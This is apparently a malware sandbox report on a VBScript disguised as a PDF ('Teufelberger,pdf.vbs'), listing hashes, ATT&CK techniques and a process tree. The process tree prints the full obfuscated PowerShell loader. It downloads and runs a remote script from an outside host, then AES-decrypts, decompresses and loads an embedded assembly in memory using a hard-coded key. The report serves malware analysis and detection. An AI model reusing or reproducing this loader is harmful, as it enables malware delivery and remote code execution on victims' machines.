bafff28ad6d4b843fbd422d34d48470ac5b738c844232b71fb7e503a2f75d92d

General

Target

Teufelberger,pdf.vbs
Size

565KB
MD5

9b98d98f1219f50085218002b9d6d13e
SHA1

98f7f59822afb1b87f7d5308f07fcfb54fc3c970
SHA256

01ed509842998f2309e2aa5ff2aaba7f12fec0e25c7a7a6f01d5d672c6a06363
SHA512

3fff27a5923af1d7834aa193602bd5231b2f0c0e498d5f87ed232602ef9c61c19a5a8cc11ae7df7b0576169d363c00b7ded0bcd5c980198b60bef56d5554027b
SSDEEP

12288:pJrrbl3eNvxisBksII3s+ngAHjQVbF7ywmL/KSapUd:Ld3eBweII3e+kxpBpS

Score

3^/10

discovery

Malware Config

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

pid	Process
3048	powershell.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
3048	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3048	powershell.exe

Suspicious use of WriteProcessMemory 13 IoCs

description	pid	Process	procid_target
PID 1924 wrote to memory of 2456	1924	WScript.exe	31
PID 1924 wrote to memory of 2456	1924	WScript.exe	31
PID 1924 wrote to memory of 2456	1924	WScript.exe	31
PID 2456 wrote to memory of 2228	2456	cmd.exe	33
PID 2456 wrote to memory of 2228	2456	cmd.exe	33
PID 2456 wrote to memory of 2228	2456	cmd.exe	33
PID 2228 wrote to memory of 2044	2228	cmd.exe	35
PID 2228 wrote to memory of 2044	2228	cmd.exe	35
PID 2228 wrote to memory of 2044	2228	cmd.exe	35
PID 2228 wrote to memory of 3048	2228	cmd.exe	36
PID 2228 wrote to memory of 3048	2228	cmd.exe	36
PID 2228 wrote to memory of 3048	2228	cmd.exe	36
PID 2228 wrote to memory of 3048	2228	cmd.exe	36

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Teufelberger,pdf.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:1924
- C:\Windows\System32\cmd.exe
  cmd /c ""C:\Users\Admin\AppData\Local\Temp\IXeqOHqsNh.bat" "
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2456
- - C:\Windows\system32\cmd.exe
    cmd /c "C:\Users\Admin\AppData\Local\Temp\IXeqOHqsNh.bat" min
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2228
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo $host.UI.RawUI.WindowTitle='C:\Users\Admin\AppData\Local\Temp\IXeqOHqsNh.bat';$QfYeqOS='SpATtcwStlATtcwStiATtcwSttATtcwSt'.Replace('ATtcwSt', ''),'ReGpiKayZaGpiKayZdLiGpiKayZnGpiKayZeGpiKayZsGpiKayZ'.Replace('GpiKayZ', ''),'DezBQyDOPcozBQyDOPmpzBQyDOPrezBQyDOPsszBQyDOP'.Replace('zBQyDOP', ''),'MarfDGKORinrfDGKORMorfDGKORdurfDGKORlrfDGKORerfDGKOR'.Replace('rfDGKOR', ''),'CfXwBwRAreafXwBwRAteDfXwBwRAefXwBwRAcrfXwBwRAyptfXwBwRAorfXwBwRA'.Replace('fXwBwRA', ''),'CopMYtQoWiyTMYtQoWioMYtQoWi'.Replace('MYtQoWi', ''),'ChawEkUndknwEkUndkgewEkUndkEwEkUndkxwEkUndktewEkUndknsiwEkUndkowEkUndknwEkUndk'.Replace('wEkUndk', ''),'TxhGCEnLrxhGCEnLanxhGCEnLsfoxhGCEnLrmxhGCEnLFixhGCEnLnalxhGCEnLBxhGCEnLloxhGCEnLcxhGCEnLkxhGCEnL'.Replace('xhGCEnL', ''),'ERwiyYKNlRwiyYKNeRwiyYKNmeRwiyYKNntARwiyYKNtRwiyYKN'.Replace('RwiyYKN', ''),'GeJqilOHDtCuJqilOHDrrJqilOHDenJqilOHDtJqilOHDPrJqilOHDoceJqilOHDsJqilOHDsJqilOHD'.Replace('JqilOHD', ''),'InSFBzsDlvokSFBzsDleSFBzsDl'.Replace('SFBzsDl', ''),'EntmDkSfzVrymDkSfzVPomDkSfzVinmDkSfzVtmDkSfzV'.Replace('mDkSfzV', '');powershell -w hidden;iex (($([Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('U1RSSU5HUkFORE9NaVNUUklOR1JBTkRPTWVTVFJJTkdSQU5ET014ICgoaVNUUklOR1JkRPTXdTVFJJTkdSQU5ET01yU1RSSU5HUkFORE9NIC1TVFJJTkdSQU5ET01VU1RSSU5HUkFORE9Nc1NUUklOR1JkRPTWVTVFJJTkdSQU5ET01CU1RSSU5HUkFORE9NYVNUUklOR1JkRPTXNTVFJJTkdSQU5ET01pU1RSSU5HUkFORE9NY1NUUklOR1JkRPTVVFJJTkdSQU5ET01hU1RSSU5HUkFORE9NclNUUklOR1JkRPTXNTVFJJTkdSQU5ET01pU1RSSU5HUkFORE9NblNUUklOR1JkRPTWdTVFJJTkdSQU5ET00gIlNUUklOR1JkRPTWhTVFJJTkdSQU5ET010dHBzU1RSSU5HUkFORE9NOlNUUklOR1JBTkRPTS9TVFJJTkdSQU5ET00vU1RSSU5HUkFORE9NMFNUUklOR1JBTkRPTXhTVFJJTkdSQU5ET00wU1RSSU5HUkFORE9NLlNUUklOR1JkRPTXNTVFJJTkdSQU5ET010U1RSSU5HUkFORE9NL1NUUklOR1JkRPTThTVFJJTkdSQU5ET01aU1RSSU5HUkFORE9NRFNUUklOR1JkRPTWFTVFJJTkdSQU5ET00uU1RSSU5HUkFORE9NdFNUUklOR1JBTkRPTXhTVFJJTkdSQU5ET010U1RSSU5HUkFORE9NIikuQ29udGVudC5SZXBsYWNlKCdBQkMnLCcnKSkgLUVycm9yQWN0aW9uIFNpbGVudGx5Q29udGludWU7')))) -replace 'STRINGRANDOM', '');iex (($([Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aWV4ICgoaXdyIC1Vc2VCYXNpY1BhcnNpbmcgImh0dHBzOi8vMHgwLnN0LzhaZXkucHMxIikuQ29udGVudC5SZXBsYWNlKCdBQkMnLCcnKSkgLUVycm9yQWN0aW9uIFNpbGVudGx5Q29udGludWU7')))) -replace 'STRINGRANDOM', '');function decrypt_function($param_var){$aes_var=[System.Security.Cryptography.Aes]::Create();$aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC;$aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7;$aes_var.Key=[System.Convert]::FromBase64String('ewMoxjcpzeNBZW19N7eS0/ZStjAsKH1ZQlG6Hp4+rlE=');$aes_var.IV=[System.Convert]::FromBase64String('GwaE+1wDAP4SIjKqb1sLhw==');$FAPRA=$aes_var.($QfYeqOS[4])();$cJMDe=$FAPRA.($QfYeqOS[7])($param_var,0,$param_var.Length);$FAPRA.Dispose();$aes_var.Dispose();$cJMDe;}function decompress_function($param_var){$OMBpZ=New-Object System.IO.MemoryStream(,$param_var);$ZMdDq=New-Object System.IO.MemoryStream;$ztAGx=New-Object System.IO.Compression.GZipStream($OMBpZ,[IO.Compression.CompressionMode]::($QfYeqOS[2]));$ztAGx.($QfYeqOS[5])($ZMdDq);$ztAGx.Dispose();$OMBpZ.Dispose();$ZMdDq.Dispose();$ZMdDq.ToArray();}$YZNls=[System.IO.File]::($QfYeqOS[1])([Console]::Title);$eOuee=decompress_function (decrypt_function ([Convert]::FromBase64String([System.Linq.Enumerable]::($QfYeqOS[8])($YZNls, 6).Substring(2))));[System.Reflection.Assembly]::Load([byte[]]$eOuee).($QfYeqOS[11]).($QfYeqOS[10])($null,$null); "
      4⤵
      PID:2044
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious behavior: CmdExeWriteProcessMemorySpam
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3048

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\IXeqOHqsNh.bat

Filesize
565KB

MD5
fdf385474e086a6d6b1a034e86be995d

SHA1
34a1dff178fc6956271b930c636dfd66bce99fe1

SHA256
0842d522c1af86ffa47abb10ef60c9ea4c90c8ed912b9628edb33bcc4e11ae6d

SHA512
bb7f8b92d48174559b83f55bbe3f651f5be3720bb7ec54a654e37e2741a424ca69d72e446cd8acdaf9ee4d21d71c30306321724b26dac37237295a8e40b598c1

Download Submit
memory/3048-11-0x00000000029F0000-0x0000000002A30000-memory.dmp

Filesize
256KB

Download
memory/3048-12-0x00000000029F0000-0x0000000002A30000-memory.dmp

Filesize
256KB

Download

Analysis

Sharing